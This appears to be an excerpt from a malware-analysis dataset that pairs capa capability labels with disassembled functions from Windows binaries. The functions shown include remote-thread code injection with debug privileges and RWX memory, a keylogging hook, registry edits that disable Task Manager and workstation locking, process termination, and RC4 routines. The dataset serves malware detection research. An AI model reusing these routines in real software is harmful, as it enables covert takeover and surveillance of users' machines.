joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001ac6
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 0x18], 0
and dword [ebp - 0x14], 0
and dword [ebp - 8], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0x1c], 0
push 1
push str.SeDebugPrivilege
call fcn.10001018
pop ecx
pop ecx
cmp dword [0x1000bfbc], 0
je 0x10001b04
cmp dword [0x1000bfb8], 0
jne 0x10001b0b
xor eax, eax
jmp 0x10001c97
push dword [0x10009038]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x10001b2e
xor eax, eax
jmp 0x10001c97
mov eax, 0x10001cb9
sub eax, 0x10001c99
mov dword [ebp - 4], eax
push 0x40
push 0x1000
push dword [ebp - 4]
push 0
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10001b6d
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 0x18], 0
xor eax, eax
jmp 0x10001c97
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
push 0x10001c99
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001b91
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 4]
je 0x10001bb8
push 0x8000
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 0x18], 0
xor eax, eax
jmp 0x10001c97
lea eax, [ebp - 0xc]
push eax
push 0
push dword [0x1000bfbc]
push dword [ebp - 0x14]
push 0
push 0
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10001bdf
jmp 0x10001c4b
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0x10], 0
jne 0x10001bff
jmp 0x10001c4b
cmp dword [0x1000bfbc], 0
je 0x10001c1e
push 0x8000
push 0
push dword [0x1000bfbc]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [0x1000bfb8], 0
je 0x10001c3d
push 0x8000
push 0
push dword [0x1000bfb8]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
and dword [0x1000bfbc], 0
and dword [0x1000bfb8], 0
cmp dword [ebp - 8], 0
je 0x10001c5a
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x14], 0
je 0x10001c73
push 0x8000
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp - 0x18], 0
je 0x10001c86
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 0x18], 0
push 0
push str.SeDebugPrivilege
call fcn.10001018
pop ecx
pop ecx
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x10001eaa
Capabilities:
Find taskbar

Disassembly:
push esi
push 0
push 0xc017
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov esi, eax
test esi, esi
jne 0x10001ee0
push 0x130
push eax
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
test esi, esi
je 0x10001efd
mov eax, dword [esp + 8]
neg eax
sbb eax, eax
and eax, 5
push eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
pop eax
pop esi
ret 4

Function at 0x10001f01
Capabilities:
Find taskbar

Disassembly:
push esi
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x10001f32
mov eax, dword [esp + 8]
neg eax
sbb eax, eax
and eax, 5
push eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
pop eax
pop esi
ret 4

Function at 0x10001f36
Capabilities:
Find taskbar

Disassembly:
push esi
push edi
mov edi, 0x12f
push edi
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
push edi
push eax
call esi
mov esi, eax
test esi, esi
je 0x10001f7b
mov eax, dword [esp + 0xc]
neg eax
sbb eax, eax
and eax, 5
push eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
pop eax
pop edi
pop esi
ret 4

Function at 0x100021ec
Capabilities:
Log keystrokes via application hook

Disassembly:
cmp dword [esp + 4], 0
jne 0x1000221c
cmp dword [0x1000bc50], 0
jne 0x10002233
push 0
push dword [0x1000bfb0]
push 0x10002065
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [0x1000bc50], eax
jne 0x10002233
jmp 0x10002236
mov eax, dword [0x1000bc50]
test eax, eax
je 0x10002233
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
and dword [0x1000bc50], 0
push 1
pop eax
ret 4

Function at 0x10002239
Capabilities:
Delete registry value
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp - 4]
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push eax
mov esi, 0x80000001
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x1000226e
lea eax, [ebp - 4]
push eax
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1000226e
xor eax, eax
jmp 0x100022b5
cmp dword [ebp + 8], 0
je 0x10002284
push str.DisableTaskMgr
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x100022a3
lea eax, [ebp - 8]
push 4
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 4]
mov dword [ebp - 8], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop edi
pop esi
leave
ret 4
Function at 0x100022fb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push esi
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000232e
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop esi
pop ebp
ret

Function at 0x100023b2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
xor esi, esi
push 0x44
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.10002e90
mov eax, dword [ebp + 8]
push 0x10
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x10]
push esi
push eax
mov dword [ebp - 0x54], 0x44
call fcn.10002e90
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10002420
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
push 1
pop eax
pop esi
leave
ret
Function at 0x1000249a
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
and byte [ebp - 0x23c], 0
push esi
push edi
push 0x41
pop ecx
xor eax, eax
lea edi, [ebp - 0x23b]
rep stosd dword es:[edi], eax
xor edi, edi
push edi
push 2
mov dword [ebp - 0xc], edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, 0x105
mov dword [ebp - 8], eax
push esi
call fcn.10002897
cmp eax, edi
pop ecx
mov dword [ebp - 4], eax
je 0x10002618
push esi
lea eax, [ebp - 0x23c]
push edi
push eax
call fcn.10002e90
push esi
push edi
push dword [ebp - 4]
call fcn.10002e90
push dword [ebp + 8]
call fcn.10002f70
add esp, 0x1c
cmp eax, edi
jle 0x10002527
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x23c]
sub edx, ecx
mov edi, eax
mov al, byte [ecx]
cmp al, 0x61
jl 0x10002520
cmp al, 0x7a
jg 0x10002520
sub al, 0x20
mov byte [edx + ecx], al
inc ecx
dec edi
jne 0x10002514
cmp dword [ebp - 8], 0xffffffff
je 0x1000260f
lea eax, [ebp - 0x134]
mov dword [ebp - 0x134], 0x128
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10002606
push ebx
lea eax, [ebp - 0x110]
push eax
call fcn.10002f70
mov ebx, eax
xor eax, eax
test ebx, ebx
pop ecx
jle 0x10002596
mov edi, dword [ebp - 4]
lea ecx, [ebp - 0x110]
sub edi, ecx
mov cl, byte [ebp + eax - 0x110]
lea edx, [ebp + eax - 0x110]
cmp cl, 0x61
jl 0x1000258e
cmp cl, 0x7a
jg 0x1000258e
sub cl, 0x20
inc eax
mov byte [edi + edx], cl
cmp eax, ebx
jl 0x10002573
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 4]
call fcn.10002ef0
push esi
push 0
push dword [ebp - 4]
mov edi, eax
call fcn.10002e90
add esp, 0x14
test edi, edi
je 0x100025ee
push dword [ebp - 0x12c]
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x100025ee
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10002553
pop ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call fcn.100029d1
pop ecx
pop edi
or eax, 0xffffffff
pop esi
leave
ret 4

Function at 0x100027b4
Capabilities:
Create thread

Disassembly:
push ecx
lea eax, [esp]
push eax
xor eax, eax
push eax
push eax
push 0x10002621
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
ret
Function at 0x100027dc
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp - 4]
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push eax
mov esi, 0x80000001
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10002811
lea eax, [ebp - 4]
push eax
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x10002811
xor eax, eax
jmp 0x10002858
cmp dword [ebp + 8], 0
je 0x10002827
push str.DisableLockWorkstation
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x10002846
lea eax, [ebp - 8]
push 4
push eax
push 4
push 0
push str.DisableLockWorkstation
push dword [ebp - 4]
mov dword [ebp - 8], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop edi
pop esi
leave
ret 4
Function at 0x409120
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47be6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046ea9f
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4091a2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046c51d
mov eax, dword [eax]
push 0x6241d4
push eax
call fcn.0045f1f4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046ed2a
test bl, bl
je 0x4091a2
push 0x6241d4
lea ecx, [esp + 0xc]
call fcn.0046f106
push 0x627d3c
lea ecx, [esp + 0xc]
call fcn.0046f106
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4091de
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046ed2a
jmp 0x4092a9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x409262
lea edx, [esp + 0x7c]
push 0x627d38
push edx
call fcn.0045f1f4
add esp, 8
test eax, eax
je 0x409262
lea eax, [esp + 0x7c]
push 0x627d34
push eax
call fcn.0045f1f4
add esp, 8
test eax, eax
je 0x409262
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4091f2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046ed2a
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40a500
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40a562
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40a570
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x47bfcb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x62ed50]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40a6a8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40a5d6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046ed2a
xor eax, eax
jmp 0x40a71f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046eeb3
push esi
lea ecx, [esp + 0xc]
call fcn.0046f142
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40a6fd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocStringLen
call fcn.0040a500
test eax, eax
jne 0x40a6fd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocStringLen
mov ecx, edi
call fcn.0040a500
test eax, eax
jne 0x40a6fd
lea eax, [esp + 0x14]
push 0x627d50
push eax
call fcn.004602d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a6dc
lea ecx, [esp + 0x14]
push 0x627d4c
push ecx
call fcn.00460250
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a6dc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40a6df
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0046ee63
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40a5ee
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046ed2a
xor eax, eax
jmp 0x40a71f
mov byte [esi], 0
push 0x627d48
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046ed2a
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41ab70
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41abde
cmp si, 0x69
ja 0x41abde
add esi, 0xffd0
cmp si, 0x11
je 0x41abae
push 0x11
call edi
test ax, ax
jge 0x41abae
or esi, 0x2000
cmp si, 0x10
je 0x41abc3
push 0x10
call edi
test ax, ax
jge 0x41abc3
or esi, 0x4000
cmp si, 0x12
je 0x41abd8
push 0x12
call edi
test ax, ax
jge 0x41abd8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41abeb
mov esi, 0xbd
jmp 0x41ab9f
cmp si, 0x6e
jne 0x41abf8
mov esi, 0xbe
jmp 0x41ab9f
cmp si, 0x6f
jne 0x41ab99
mov esi, 0xbf
jmp 0x41ab9f

Function at 0x41c250
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x63faf8]
xor edx, edx
cmp eax, edx
jne 0x41c276
xor eax, eax
mov byte [eax + 0x63f9f8], al
inc eax
cmp eax, 0x100
jl 0x41c25e
mov dword [0x63faf8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x63f9f8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41c307
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41c2da
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41c2a8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41c380
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41c3d3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41c3ba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x422e10
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x422fa8
cmp ebp, ebx
jle 0x422fa8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x422e6e
dec eax
or eax, 0xfffffff8
inc eax
je 0x422e75
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x422e84
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x422e8b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0046ea6b
add esp, 4
cmp eax, ebx
je 0x422eac
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0046ea6b
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x422f9e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x422f85
mov al, byte [edx]
cmp al, 0xc0
jbe 0x422f71
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x422f66
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x422f74
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x422f74
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x422f10
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x422f01
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x426000
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x47d498
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x426039
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0047653e
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004765c6
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004260c0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00476603
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24